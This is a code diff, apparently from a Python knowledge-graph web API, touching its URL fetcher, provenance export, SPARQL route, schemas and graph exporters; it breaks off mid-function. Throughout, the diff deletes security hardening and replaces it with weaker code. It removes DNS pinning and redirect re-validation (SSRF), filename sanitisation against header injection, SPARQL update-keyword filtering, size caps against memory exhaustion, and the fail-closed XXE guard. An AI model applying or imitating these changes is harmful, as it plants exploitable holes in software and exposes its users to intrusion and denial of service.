|
||||
if parsed.scheme not in ("http", "https"):
|
||||
raise HTTPException(status_code=422, detail="Only http and https URLs are allowed.")
|
||||
@@ -1000,7 +990,6 @@ def _validate_fetch_url(url: str) -> List[str]:
|
||||
addrinfos = socket.getaddrinfo(hostname, None)
|
||||
except socket.gaierror as exc:
|
||||
raise HTTPException(status_code=422, detail=f"Cannot resolve hostname '{hostname}': {exc}") from exc
|
||||
validated_ips: List[str] = []
|
||||
for _family, _type, _proto, _canonname, sockaddr in addrinfos:
|
||||
try:
|
||||
ip = ipaddress.ip_address(sockaddr[0])
|
||||
@@ -1011,161 +1000,28 @@ def _validate_fetch_url(url: str) -> List[str]:
|
||||
status_code=422,
|
||||
detail="Fetching from private, loopback, or reserved network addresses is not allowed.",
|
||||
)
|
||||
if sockaddr[0] not in validated_ips:
|
||||
validated_ips.append(sockaddr[0])
|
||||
if not validated_ips:
|
||||
raise HTTPException(status_code=422, detail=f"Cannot resolve hostname '{hostname}' to a usable address.")
|
||||
return validated_ips
|
||||
|
||||
|
||||
def _make_pinned_session(pinned_ips: List[str], url: str):
|
||||
"""Build a requests.Session whose connection is pinned to pinned_ips
|
||||
(tried in order, falling back on connection failure), regardless of
|
||||
what url's hostname resolves to at connect time.
|
||||
|
||||
_validate_fetch_url() resolves and validates the hostname once; letting
|
||||
the HTTP client resolve it again independently at connect time reopens
|
||||
the exact gap that validation exists to close — a low-TTL or rebinding
|
||||
DNS answer can differ between the two lookups. This pins the pool's
|
||||
connect target to the already-validated addresses directly (bypassing
|
||||
DNS resolution for the connection entirely), while keeping the original
|
||||
hostname as the outgoing HTTP Host header and, for HTTPS, the TLS SNI
|
||||
server_hostname / assert_hostname — otherwise the connection would
|
||||
reach the right IP but present the wrong identity, breaking name-based
|
||||
virtual hosting and (for HTTPS) certificate hostname verification.
|
||||
|
||||
Falls back across every validated address (not just the first) so a
|
||||
hostname with multiple A/AAAA records doesn't fail outright just
|
||||
because the first-returned address happens to be unreachable.
|
||||
|
||||
Note: urllib3's Connection.host is a property that reads/writes the
|
||||
same underlying value as `_dns_host` in this version — it is NOT the
|
||||
separate "presented identity" field it is in some older releases, so
|
||||
overriding just `_dns_host` post-construction (as an earlier version of
|
||||
this fix did) actually changes the Host header too. Pinning the pool's
|
||||
`host` directly and restoring the real hostname via an explicit Host
|
||||
header (+ SNI params for HTTPS) is the correct mechanism here.
|
||||
"""
|
||||
import requests as _req
|
||||
import urllib3.util.connection as _u3_connection
|
||||
from urllib3.exceptions import NewConnectionError
|
||||
|
||||
parsed = urlparse(url)
|
||||
hostname = parsed.hostname
|
||||
port = parsed.port
|
||||
default_port = 443 if parsed.scheme == "https" else 80
|
||||
host_header = hostname if port in (None, default_port) else f"{hostname}:{port}"
|
||||
|
||||
class _MultiIPConnectionMixin:
|
||||
"""Overrides _new_conn to fall back across every pinned IP in
|
||||
order, instead of urllib3's default single-host connect."""
|
||||
|
||||
def _new_conn(self):
|
||||
last_exc: Optional[BaseException] = None
|
||||
for ip in pinned_ips:
|
||||
try:
|
||||
return _u3_connection.create_connection(
|
||||
(ip, self.port),
|
||||
self.timeout,
|
||||
source_address=self.source_address,
|
||||
socket_options=self.socket_options,
|
||||
)
|
||||
except OSError as exc:
|
||||
last_exc = exc
|
||||
continue
|
||||
raise NewConnectionError(
|
||||
self, f"Failed to establish a connection to any of {pinned_ips}: {last_exc}"
|
||||
)
|
||||
|
||||
class _PinnedIPHTTPAdapter(_req.adapters.HTTPAdapter):
|
||||
def get_connection_with_tls_context(self, request, verify, proxies=None, cert=None):
|
||||
# A proxy would perform its own DNS resolution of the target
|
||||
# host on this process's behalf — a resolution outside this
|
||||
# process's visibility or control, so there is no client-side
|
||||
# pin that closes that race. Proxies are disabled outright for
|
||||
# this SSRF-sensitive fetcher (session.trust_env=False below),
|
||||
# so this should be unreachable via environment proxies; fail
|
||||
# closed rather than silently skip pinning if a proxy is
|
||||
# somehow still configured (e.g. passed explicitly in the
|
||||
# future). _validate_fetch_url's destination classification is
|
||||
# a separate, always-enforced check — this only guards the
|
||||
# secondary DNS-pinning hardening.
|
||||
if _req.utils.select_proxy(request.url, proxies):
|
||||
raise HTTPException(
|
||||
status_code=502,
|
||||
detail="Proxied requests are not supported for ontology URL fetching.",
|
||||
)
|
||||
host_params, pool_kwargs = self.build_connection_pool_key_attributes(request, verify, cert)
|
||||
if host_params.get("scheme") == "https":
|
||||
pool_kwargs.setdefault("assert_hostname", hostname)
|
||||
pool_kwargs.setdefault("server_hostname", hostname)
|
||||
host_params["host"] = pinned_ips[0]
|
||||
pool = self.poolmanager.connection_from_host(**host_params, pool_kwargs=pool_kwargs)
|
||||
base_connection_cls = pool.ConnectionCls
|
||||
if not issubclass(base_connection_cls, _MultiIPConnectionMixin):
|
||||
pool.ConnectionCls = type(
|
||||
"_PinnedConnection", (_MultiIPConnectionMixin, base_connection_cls), {}
|
||||
)
|
||||
return pool
|
||||
|
||||
session = _req.Session()
|
||||
# Never honor HTTP_PROXY/HTTPS_PROXY/NO_PROXY env vars for this
|
||||
# SSRF-sensitive fetcher: a configured proxy would perform its own DNS
|
||||
# resolution of the target host outside this process's control,
|
||||
# silently reopening the DNS check-then-use race pinning exists to
|
||||
# close. See _PinnedIPHTTPAdapter.get_connection_with_tls_context for
|
||||
# the fail-closed backstop if a proxy is somehow still configured.
|
||||
session.trust_env = False
|
||||
session.headers["Host"] = host_header
|
||||
adapter = _PinnedIPHTTPAdapter()
|
||||
session.mount("http://", adapter)
|
||||
session.mount("https://", adapter)
|
||||
return session
|
||||
|
||||
|
||||
def _fetch_url_sync(url: str) -> bytes:
|
||||
pinned_ips = _validate_fetch_url(url)
|
||||
_MAX_REDIRECTS = 5
|
||||
current_url = url
|
||||
_validate_fetch_url(url)
|
||||
import requests as _req
|
||||
try:
|
||||
for _ in range(_MAX_REDIRECTS + 1):
|
||||
session = _make_pinned_session(pinned_ips, current_url)
|
||||
try:
|
||||
resp = session.get(
|
||||
current_url,
|
||||
headers={"Accept": "text/turtle, application/rdf+xml, application/ld+json, */*;q=0.1"},
|
||||
timeout=30,
|
||||
stream=True,
|
||||
allow_redirects=False, # SECURITY: follow redirects manually
|
||||
)
|
||||
if resp.is_redirect or resp.is_permanent_redirect:
|
||||
redirect_url = resp.headers.get("Location")
|
||||
resp.close() # Release the streamed connection before following the redirect
|
||||
if not redirect_url:
|
||||
raise HTTPException(status_code=502, detail="Redirect without Location header.")
|
||||
# Resolve relative redirects (e.g. /ontology.ttl) against the current URL
|
||||
redirect_url = urljoin(current_url, redirect_url)
|
||||
# Re-validate the redirect target to prevent SSRF via
|
||||
# open-redirect to internal/cloud-metadata endpoints, and
|
||||
# get fresh pins for the new host.
|
||||
pinned_ips = _validate_fetch_url(redirect_url)
|
||||
current_url = redirect_url
|
||||
continue
|
||||
try:
|
||||
resp.raise_for_status()
|
||||
chunks: List[bytes] = []
|
||||
total = 0
|
||||
for chunk in resp.iter_content(65536):
|
||||
total += len(chunk)
|
||||
if total > _MAX_FETCH_BYTES:
|
||||
raise HTTPException(status_code=413, detail="Remote resource exceeds 20 MB limit.")
|
||||
chunks.append(chunk)
|
||||
return b"".join(chunks)
|
||||
finally:
|
||||
resp.close() # Release the streamed connection once fully read (or on error)
|
||||
finally:
|
||||
session.close()
|
||||
raise HTTPException(status_code=502, detail=f"Too many redirects (max {_MAX_REDIRECTS}).")
|
||||
resp = _req.get(
|
||||
url,
|
||||
headers={"Accept": "text/turtle, application/rdf+xml, application/ld+json, */*;q=0.1"},
|
||||
timeout=30,
|
||||
stream=True,
|
||||
allow_redirects=True,
|
||||
)
|
||||
resp.raise_for_status()
|
||||
chunks: List[bytes] = []
|
||||
total = 0
|
||||
for chunk in resp.iter_content(65536):
|
||||
total += len(chunk)
|
||||
if total > _MAX_FETCH_BYTES:
|
||||
raise HTTPException(status_code=413, detail="Remote resource exceeds 20 MB limit.")
|
||||
chunks.append(chunk)
|
||||
return b"".join(chunks)
|
||||
except HTTPException:
|
||||
raise
|
||||
except Exception as exc:
|
||||
|
||||
@@ -5,7 +5,6 @@ Provenance routes for lineage visualization and exportable reports.
|
||||
import asyncio
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
import networkx as nx
|
||||
@@ -20,24 +19,6 @@ from ...provenance.integrity import verify_checksum
|
||||
logger = logging.getLogger(__name__)
|
||||
router = APIRouter(prefix="/api/provenance", tags=["Power User Tools"])
|
||||
|
||||
# SECURITY: Strip characters that could break out of a Content-Disposition
|
||||
# filename= value and inject new HTTP response headers (CWE-113 / CRLF injection).
|
||||
# \r, \n, \x00 are the primary header-splitting vectors; " and \ would close
|
||||
# or escape the filename attribute.
|
||||
_UNSAFE_FILENAME_CHARS = re.compile(r'[\r\n\x00"\\]')
|
||||
_MAX_FILENAME_ID_LEN = 128
|
||||
|
||||
|
||||
def _safe_content_disposition_filename(node_id: str, suffix: str) -> str:
|
||||
"""Return a sanitized Content-Disposition filename for the given node_id.
|
||||
|
||||
Strips CR, LF, NUL, double-quotes, and backslashes that could split HTTP
|
||||
response headers or escape the filename attribute, then length-caps the
|
||||
result so it never produces an excessively long header value.
|
||||
"""
|
||||
sanitized = _UNSAFE_FILENAME_CHARS.sub("_", str(node_id))[:_MAX_FILENAME_ID_LEN]
|
||||
return f"{sanitized}{suffix}"
|
||||
|
||||
_AGENT_TYPES = {"person", "organization", "system", "agent"}
|
||||
_ACTIVITY_TYPES = {"action", "event", "process", "activity", "decision", "publication"}
|
||||
|
||||
@@ -352,12 +333,12 @@ async def export_provenance_report(
|
||||
content = _render_markdown(report)
|
||||
return PlainTextResponse(
|
||||
content,
|
||||
headers={"Content-Disposition": f'attachment; filename="{_safe_content_disposition_filename(node_id, "_provenance.md")}"'},
|
||||
headers={"Content-Disposition": f'attachment; filename="{node_id}_provenance.md"'},
|
||||
)
|
||||
|
||||
content = json.dumps(report, indent=2, default=str)
|
||||
return Response(
|
||||
content=content,
|
||||
media_type="application/json",
|
||||
headers={"Content-Disposition": f'attachment; filename="{_safe_content_disposition_filename(node_id, "_provenance.json")}"'},
|
||||
headers={"Content-Disposition": f'attachment; filename="{node_id}_provenance.json"'},
|
||||
)
|
||||
|
||||
@@ -3,16 +3,11 @@ SPARQL routes backed by an in-memory rdflib projection of the current graph.
|
||||
|
||||
Security contract
|
||||
-----------------
|
||||
* Only SELECT, ASK, CONSTRUCT, and DESCRIBE are accepted, and the query
|
||||
body is scanned for SPARQL Update keywords (INSERT/DELETE/DROP/LOAD/
|
||||
CLEAR/CREATE/COPY/MOVE/ADD) after stripping comments and PREFIX/BASE
|
||||
declarations — both enforced before graph construction, so rejected
|
||||
queries never touch the session. A multi-statement injection appended
|
||||
after an allowed keyword (e.g. ``SELECT ... ; DROP ALL``) is caught by
|
||||
the keyword scan itself, not left to rdflib's parser.
|
||||
* rdflib's parser remains a second line of defense for malformed multi-
|
||||
statement syntax that doesn't contain any forbidden keyword (e.g.
|
||||
``SELECT ... ; ASK ...``), which SPARQL 1.1 Query doesn't permit.
|
||||
* Only SELECT, ASK, CONSTRUCT, and DESCRIBE are accepted (allowlist enforced
|
||||
before graph construction so rejected queries never touch the session).
|
||||
* Multi-statement injections that start with an allowed keyword (e.g.
|
||||
``SELECT ... ; DROP ALL``) pass the prefix check and reach rdflib, which
|
||||
rejects non-SELECT/ASK/CONSTRUCT/DESCRIBE update syntax in the parser.
|
||||
* The in-memory rdflib graph is a read-only projection — the live
|
||||
``GraphSession`` is never mutated by this route.
|
||||
"""
|
||||
@@ -31,76 +26,14 @@ from ..session import GraphSession
|
||||
router = APIRouter(prefix="/api/sparql", tags=["Power User Tools"])
|
||||
|
||||
_ALLOWED_QUERY_TYPES = re.compile(
|
||||
r"^(SELECT|ASK|CONSTRUCT|DESCRIBE)\b",
|
||||
r"^\s*(SELECT|ASK|CONSTRUCT|DESCRIBE)\b",
|
||||
re.IGNORECASE,
|
||||
)
|
||||
|
||||
# SPARQL Update keywords that must never appear in read-only queries.
|
||||
# These are checked AFTER comment/prefix stripping to prevent bypass via
|
||||
# comments like: # INSERT DATA { ... }\nSELECT ...
|
||||
_FORBIDDEN_KEYWORDS = re.compile(
|
||||
r"\b(INSERT|DELETE|DROP|LOAD|CLEAR|CREATE|COPY|MOVE|ADD)\b",
|
||||
re.IGNORECASE,
|
||||
)
|
||||
|
||||
# Matches SPARQL single-line comments (# ...) and PREFIX/BASE declarations.
|
||||
# The comment regex only treats '#' as a comment-starter at line-start or
|
||||
# after whitespace — not mid-token — since RDF namespace IRIs commonly
|
||||
# contain a literal '#' (e.g. ".../1999/02/22-rdf-syntax-ns#"), and a naive
|
||||
# `#[^\n]*` would truncate every such PREFIX declaration's IRI, corrupting
|
||||
# the query. BASE declarations have no prefix name between the keyword and
|
||||
# the IRI (`BASE <...>`, vs. `PREFIX ex: <...>`), so the prefix-name token
|
||||
# is optional.
|
||||
#
|
||||
# ReDoS fix (CodeQL py/polynomial-redos, issue #1897):
|
||||
#
|
||||
# The original pattern `<[^>]*>\s*` was vulnerable because `\s*` (which
|
||||
# matches newlines) could overlap with `[^>]*` on inputs that contain no
|
||||
# closing `>` (e.g. `base<!!<!<...`), forcing the engine to explore every
|
||||
# possible split between the two quantifiers — O(n²) backtracking.
|
||||
#
|
||||
# The fix uses `<[^>\r\n]*>` for the IRI body: excluding CR and LF from
|
||||
# the character class means the IRI match can never span a line boundary,
|
||||
# and the disjoint trailing `[ \t]*` (horizontal whitespace only) has zero
|
||||
# character-class overlap with `[^>\r\n]*`, so the engine has exactly one
|
||||
# way to match. No end-of-line anchor is needed or used, which correctly
|
||||
# handles both inline prologues (`PREFIX ex: <...> SELECT ...` on one line)
|
||||
# and CRLF line endings (`\r\n`) without any special casing.
|
||||
_COMMENT_LINE = re.compile(r"(?:^|(?<=\s))#[^\n]*", re.MULTILINE)
|
||||
_PREFIX_DECL = re.compile(
|
||||
r"^[ \t]*(?:PREFIX[ \t]+\S+|BASE)[ \t]*<[^>\r\n]*>[ \t]*",
|
||||
re.IGNORECASE | re.MULTILINE,
|
||||
)
|
||||
|
||||
|
||||
def _is_read_only_query(query: str) -> bool:
|
||||
"""Return True only for genuine read-only SPARQL queries.
|
||||
|
||||
Strips comments, PREFIX/BASE declarations, and leading whitespace before
|
||||
checking the first keyword. Also rejects queries containing SPARQL Update
|
||||
keywords anywhere in the body, preventing injection via embedded strings
|
||||
or multi-statement tricks.
|
||||
|
||||
Note: callers are responsible for enforcing any input-length limit *before*
|
||||
calling this function so that an oversized-query rejection can be surfaced
|
||||
as a distinct, actionable error rather than the generic read-only message.
|
||||
"""
|
||||
# 1. Remove single-line comments that could hide the real query type
|
||||
cleaned = _COMMENT_LINE.sub("", query)
|
||||
# 2. Remove PREFIX/BASE declarations
|
||||
cleaned = _PREFIX_DECL.sub("", cleaned)
|
||||
# 3. Strip remaining whitespace
|
||||
cleaned = cleaned.strip()
|
||||
|
||||
# 4. Check that the first keyword is a read-only query type
|
||||
if not _ALLOWED_QUERY_TYPES.match(cleaned):
|
||||
return False
|
||||
|
||||
# 5. Block any forbidden (mutating) keywords anywhere in the query
|
||||
if _FORBIDDEN_KEYWORDS.search(cleaned):
|
||||
return False
|
||||
|
||||
return True
|
||||
"""Return True only for SELECT / ASK / CONSTRUCT / DESCRIBE queries."""
|
||||
return bool(_ALLOWED_QUERY_TYPES.match(query))
|
||||
|
||||
|
||||
class SparqlRequest(BaseModel):
|
||||
@@ -126,27 +59,8 @@ def _build_rdflib_graph(session: GraphSession) -> rdflib.Graph:
|
||||
graph.bind("ent", NS)
|
||||
graph.bind("prop", PROP)
|
||||
|
||||
# SECURITY: Cap the number of entities materialized into memory to
|
||||
# prevent denial-of-service via memory exhaustion. Without this guard
|
||||
# an attacker can send concurrent SPARQL queries that each load ~1M
|
||||
# nodes/edges into rdflib Graph objects, consuming gigabytes of RAM.
|
||||
nodes, total_nodes = session.get_nodes(skip=0, limit=_SPARQL_MAX_GRAPH_NODES + 1)
|
||||
if len(nodes) > _SPARQL_MAX_GRAPH_NODES:
|
||||
raise ValueError(
|
||||
f"Graph has more than {_SPARQL_MAX_GRAPH_NODES:,} nodes. "
|
||||
f"SPARQL queries are limited to graphs with at most "
|
||||
f"{_SPARQL_MAX_GRAPH_NODES:,} nodes to prevent excessive "
|
||||
f"memory usage. Use the REST API for large graph operations."
|
||||
)
|
||||
|
||||
edges, _ = session.get_edges(skip=0, limit=_SPARQL_MAX_GRAPH_NODES + 1)
|
||||
if len(edges) > _SPARQL_MAX_GRAPH_NODES:
|
||||
raise ValueError(
|
||||
f"Graph has more than {_SPARQL_MAX_GRAPH_NODES:,} edges. "
|
||||
f"SPARQL queries are limited to graphs with at most "
|
||||
f"{_SPARQL_MAX_GRAPH_NODES:,} edges to prevent excessive "
|
||||
f"memory usage. Use the REST API for large graph operations."
|
||||
)
|
||||
nodes, _ = session.get_nodes(skip=0, limit=999_999)
|
||||
edges, _ = session.get_edges(skip=0, limit=999_999)
|
||||
|
||||
for node in nodes:
|
||||
subject = NS[str(node.get("id", ""))]
|
||||
@@ -177,12 +91,6 @@ def _build_rdflib_graph(session: GraphSession) -> rdflib.Graph:
|
||||
_SPARQL_MAX_ROWS = 5_000 # hard cap on returned rows
|
||||
_SPARQL_TIMEOUT_S = 30 # seconds before abandoning the await
|
||||
_SPARQL_MAX_CONCURRENT = 4 # semaphore: max simultaneous executions
|
||||
_SPARQL_MAX_GRAPH_NODES = 50_000 # cap on graph nodes/edges to prevent OOM
|
||||
# Defense-in-depth against ReDoS: reject inputs longer than this before any
|
||||
# regex work so that even a future regex regression is bounded. Checked in
|
||||
# execute_sparql() (not inside _is_read_only_query) so the route can return
|
||||
# a distinct, actionable error message rather than the generic read-only one.
|
||||
_SPARQL_MAX_QUERY_LEN = 10_000 # chars
|
||||
|
||||
# Semaphore caps how many graph.query calls run concurrently so that
|
||||
# timed-out threads (which keep running in the pool) cannot crowd out
|
||||
@@ -211,24 +119,6 @@ async def execute_sparql(
|
||||
req: SparqlRequest,
|
||||
session: GraphSession = Depends(get_session),
|
||||
):
|
||||
# Resource-limit check: reject oversized queries before any regex work.
|
||||
# This is intentionally a separate, earlier check from _is_read_only_query
|
||||
# so clients receive a specific, actionable message rather than the generic
|
||||
# read-only rejection, and operators can tune _SPARQL_MAX_QUERY_LEN without
|
||||
# touching query-semantics code.
|
||||
if len(req.query) > _SPARQL_MAX_QUERY_LEN:
|
||||
return SparqlResponse(
|
||||
columns=[],
|
||||
rows=[],
|
||||
total=0,
|
||||
error=(
|
||||
f"Query exceeds the maximum allowed length of "
|
||||
f"{_SPARQL_MAX_QUERY_LEN:,} characters "
|
||||
f"({len(req.query):,} received). "
|
||||
f"Please shorten your query."
|
||||
),
|
||||
)
|
||||
|
||||
if not _is_read_only_query(req.query):
|
||||
return SparqlResponse(
|
||||
columns=[],
|
||||
@@ -237,15 +127,7 @@ async def execute_sparql(
|
||||
error="Only SELECT, ASK, CONSTRUCT, and DESCRIBE queries are permitted.",
|
||||
)
|
||||
|
||||
try:
|
||||
graph = await asyncio.to_thread(_build_rdflib_graph, session)
|
||||
except ValueError as exc:
|
||||
return SparqlResponse(
|
||||
columns=[],
|
||||
rows=[],
|
||||
total=0,
|
||||
error=str(exc),
|
||||
)
|
||||
graph = await asyncio.to_thread(_build_rdflib_graph, session)
|
||||
|
||||
async with _sparql_semaphore:
|
||||
try:
|
||||
|
||||
@@ -2,10 +2,10 @@
|
||||
Shared Pydantic schemas for the Semantica Knowledge Explorer API.
|
||||
"""
|
||||
|
||||
from datetime import datetime, timezone
|
||||
from datetime import datetime
|
||||
from typing import Any, Dict, List, Literal, Optional, Tuple
|
||||
|
||||
from pydantic import BaseModel, Field, field_validator
|
||||
from pydantic import BaseModel, Field
|
||||
|
||||
|
||||
class ErrorResponse(BaseModel):
|
||||
@@ -144,37 +144,6 @@ class DecisionResponse(BaseModel):
|
||||
timestamp: Optional[str] = None
|
||||
metadata: Dict[str, Any] = Field(default_factory=dict)
|
||||
|
||||
@field_validator("timestamp", mode="before")
|
||||
@classmethod
|
||||
def _normalize_timestamp(cls, value: Any) -> Optional[str]:
|
||||
"""Accept the epoch floats ContextGraph.record_decision() writes.
|
||||
|
||||
Decision nodes store ``timestamp`` as ``datetime.now().timestamp()``, a
|
||||
float, so passing the stored value through unconverted fails validation
|
||||
and turns every decision route into a 500. Normalize to ISO-8601 here so
|
||||
the wire format stays a single string type whatever the producer wrote.
|
||||
"""
|
||||
if value is None or isinstance(value, str):
|
||||
return value
|
||||
if isinstance(value, datetime):
|
||||
return value.isoformat()
|
||||
if isinstance(value, (int, float)) and not isinstance(value, bool):
|
||||
import math
|
||||
if not math.isfinite(value):
|
||||
raise ValueError(
|
||||
f"timestamp must be a finite number, got {value!r}"
|
||||
)
|
||||
try:
|
||||
return datetime.fromtimestamp(value, tz=timezone.utc).isoformat()
|
||||
except (OverflowError, OSError) as exc:
|
||||
raise ValueError(
|
||||
f"timestamp {value!r} is out of the representable epoch range"
|
||||
) from exc
|
||||
raise ValueError(
|
||||
f"timestamp must be None, a string, a datetime, or a numeric epoch; "
|
||||
f"got {type(value).__name__!r}"
|
||||
)
|
||||
|
||||
|
||||
class CausalChainResponse(BaseModel):
|
||||
decision_id: str
|
||||
@@ -205,9 +174,7 @@ class TemporalPatternResponse(BaseModel):
|
||||
|
||||
|
||||
class EnrichExtractRequest(BaseModel):
|
||||
# 10 000 characters is sufficient for a substantial document paragraph while
|
||||
# preventing unbounded spaCy NLP processing on arbitrarily large payloads.
|
||||
text: str = Field(..., max_length=10_000)
|
||||
text: str
|
||||
|
||||
|
||||
class EnrichExtractResponse(BaseModel):
|
||||
|
||||
@@ -375,19 +375,6 @@ class GraphSession:
|
||||
)
|
||||
return page, total
|
||||
|
||||
def get_raw_counts(self) -> tuple[int, int]:
|
||||
"""O(1) node/edge counts from the raw collections, with no per-item
|
||||
normalization.
|
||||
|
||||
``paginate_nodes``/``paginate_edges`` always normalize the *entire*
|
||||
matching set before applying ``limit``, so callers that need to reject
|
||||
an oversized graph before paying that cost (e.g. link prediction's DoS
|
||||
guard) should check this first rather than inspecting the ``total``
|
||||
returned by ``get_nodes``/``get_edges`` after the fact.
|
||||
"""
|
||||
with self._lock:
|
||||
return len(self.graph.nodes), len(self.graph.edges)
|
||||
|
||||
def paginate_edges(
|
||||
self,
|
||||
edge_type: Optional[str] = None,
|
||||
|
||||
@@ -14,23 +14,21 @@ _HAS_DEFUSEDXML = importlib.util.find_spec("defusedxml") is not None
|
||||
|
||||
|
||||
def _safe_parse_rdf(g: rdflib.Graph, data: bytes, rdf_format: str) -> None:
|
||||
"""Parse RDF bytes into *g*, guarding against XXE for XML-based formats.
|
||||
|
||||
Raises:
|
||||
ImportError: If ``defusedxml`` is not installed and the format is XML-based.
|
||||
"""
|
||||
"""Parse RDF bytes into *g*, guarding against XXE for XML-based formats."""
|
||||
xml_formats = {"xml", "rdf", "rdf/xml", "application/rdf+xml"}
|
||||
if rdf_format.lower() in xml_formats:
|
||||
if not _HAS_DEFUSEDXML:
|
||||
# Fail closed: refuse to parse untrusted XML without XXE protection.
|
||||
raise ImportError(
|
||||
"defusedxml is required to safely parse RDF/XML content but is "
|
||||
"not installed. Install it with: pip install defusedxml "
|
||||
"(or install semantica with the explorer extra: "
|
||||
"pip install 'semantica[explorer]')"
|
||||
if _HAS_DEFUSEDXML:
|
||||
# defusedxml patches xml.etree so rdflib's XML parser inherits the fix
|
||||
import defusedxml
|
||||
defusedxml.defuse_stdlib()
|
||||
else:
|
||||
# Warn once; best-effort protection via rdflib's own parser
|
||||
import warnings
|
||||
warnings.warn(
|
||||
"defusedxml is not installed. Install it (`pip install defusedxml`) "
|
||||
"to protect RDF/XML parsing against XXE attacks.",
|
||||
stacklevel=4,
|
||||
)
|
||||
import defusedxml
|
||||
defusedxml.defuse_stdlib()
|
||||
g.parse(data=data, format=rdf_format)
|
||||
|
||||
def _get_best_label(graph: rdflib.Graph, subject: rdflib.URIRef, predicate: rdflib.URIRef) -> str:
|
||||
|
||||
@@ -28,7 +28,7 @@ import json
|
||||
from pathlib import Path
|
||||
from typing import Any, Dict, List, Optional, Union
|
||||
|
||||
from ..utils.helpers import _require_mapping, ensure_directory, normalize_graph_payload
|
||||
from ..utils.helpers import ensure_directory
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
|
||||
@@ -204,19 +204,17 @@ class ArangoAQLExporter:
|
||||
self._generate_collection_creation(vertex_collection, edge_collection)
|
||||
)
|
||||
|
||||
# A non-mapping payload cannot reach normalize_graph_payload(): it
|
||||
# raises ValidationError for that case, which would leave this
|
||||
# exporter alone in raising a different exception type than the YAML
|
||||
# and Neo4j exporters raise for the identical mistake.
|
||||
_require_mapping(
|
||||
knowledge_graph, ("entities", "relationships", "nodes", "edges")
|
||||
)
|
||||
# Extract entities and relationships
|
||||
entities = knowledge_graph.get("entities", [])
|
||||
relationships = knowledge_graph.get("relationships", [])
|
||||
nodes = knowledge_graph.get("nodes", entities)
|
||||
edges = knowledge_graph.get("edges", relationships)
|
||||
|
||||
# Accept either vocabulary; resolution is centralized so every
|
||||
# exporter agrees on what a given payload means.
|
||||
normalized = normalize_graph_payload(knowledge_graph)
|
||||
entities = normalized["entities"]
|
||||
relationships = normalized["relationships"]
|
||||
# Use nodes/edges if entities/relationships are empty
|
||||
if not entities and nodes:
|
||||
entities = nodes
|
||||
if not relationships and edges:
|
||||
relationships = edges
|
||||
|
||||
# Generate vertex INSERT statements
|
||||
vertex_statements = self._generate_vertex_inserts(entities, vertex_collection)
|
||||
|
||||
@@ -11,20 +11,17 @@ Python API:
|
||||
df = exporter.to_dataframe(include=["hops", "semantic_similarity", "distance_band"])
|
||||
exporter.to_csv("distances.csv")
|
||||
exporter.to_jsonl("distances.jsonl")
|
||||
|
||||
# Include error status columns for auditable exports:
|
||||
df = exporter.to_dataframe(include=["hop_count", "metric_errors"])
|
||||
"""
|
||||
|
||||
import csv
|
||||
import io
|
||||
import json
|
||||
from typing import Any, Dict, List, Optional, Tuple
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
from ..utils.helpers import classify_path_distance
|
||||
from ..utils.logging import get_logger
|
||||
|
||||
logger = get_logger("export.distance_exporter")
|
||||
logger = get_logger(__name__)
|
||||
|
||||
_KG_AVAILABLE = False
|
||||
try:
|
||||
@@ -39,9 +36,6 @@ _ALL_COLUMNS = [
|
||||
"distance_band", "source_betweenness", "target_betweenness",
|
||||
]
|
||||
|
||||
# Error status columns — opt-in via include=["metric_errors"]
|
||||
# (used by compute_pairs when "metric_errors" is in include set)
|
||||
|
||||
|
||||
class DistanceExporter:
|
||||
"""Compute and export pairwise distance metrics for a ContextGraph."""
|
||||
@@ -71,77 +65,59 @@ class DistanceExporter:
|
||||
node = getattr(self.graph, "nodes", {}).get(node_id)
|
||||
return getattr(node, "node_type", "") if node else ""
|
||||
|
||||
def _betweenness(self, graph_dict: Dict[str, Any]) -> Tuple[Dict[str, float], Optional[str]]:
|
||||
"""Return (betweenness_dict, error). error is None on success."""
|
||||
def _betweenness(self, graph_dict: Dict[str, Any]) -> Dict[str, float]:
|
||||
if self._centrality is None:
|
||||
return {}, None
|
||||
return {}
|
||||
try:
|
||||
result = self._centrality.calculate_betweenness_centrality(graph_dict)
|
||||
return (result.get("betweenness", {}) if isinstance(result, dict) else {}), None
|
||||
return result.get("betweenness", {}) if isinstance(result, dict) else {}
|
||||
except Exception:
|
||||
logger.warning("Betweenness centrality computation failed; omitting from export", exc_info=True)
|
||||
return {}, "betweenness"
|
||||
return {}
|
||||
|
||||
def _hop_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Tuple[Optional[int], Optional[str]]:
|
||||
"""Return (hop_count, error). error is None on success or a short description on failure."""
|
||||
def _hop_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Optional[int]:
|
||||
if self._path_finder is None:
|
||||
return None, None # KG unavailable — not an error, just no data
|
||||
return None
|
||||
try:
|
||||
result = self._path_finder.bfs_shortest_path(graph_dict, src, tgt)
|
||||
path = result.get("path", []) if isinstance(result, dict) else (result or [])
|
||||
return (len(path) - 1 if path else None), None
|
||||
return len(path) - 1 if path else None
|
||||
except Exception:
|
||||
logger.warning("Hop distance computation failed for %s -> %s; returning None sentinel", src, tgt, exc_info=True)
|
||||
return None, "hop_count"
|
||||
return None
|
||||
|
||||
def _weighted_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Tuple[Optional[float], Optional[str]]:
|
||||
"""Return (weighted_distance, error). error is None on success."""
|
||||
def _weighted_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Optional[float]:
|
||||
if self._path_finder is None:
|
||||
return None, None
|
||||
return None
|
||||
try:
|
||||
result = self._path_finder.dijkstra_shortest_path(graph_dict, src, tgt)
|
||||
if isinstance(result, dict):
|
||||
return float(result.get("total_weight", len(result.get("path", [])) - 1)), None
|
||||
return None, None
|
||||
return float(result.get("total_weight", len(result.get("path", [])) - 1))
|
||||
return None
|
||||
except Exception:
|
||||
logger.warning("Weighted distance computation failed for %s -> %s; returning None sentinel", src, tgt, exc_info=True)
|
||||
return None, "weighted_distance"
|
||||
return None
|
||||
|
||||
def _semantic_similarity(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Tuple[Optional[float], Optional[str]]:
|
||||
"""Return (similarity, error). error is None on success."""
|
||||
def _semantic_similarity(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Optional[float]:
|
||||
if self._similarity is None:
|
||||
return None, None
|
||||
return None
|
||||
try:
|
||||
sim = self._similarity.cosine_similarity(graph_dict, src, tgt)
|
||||
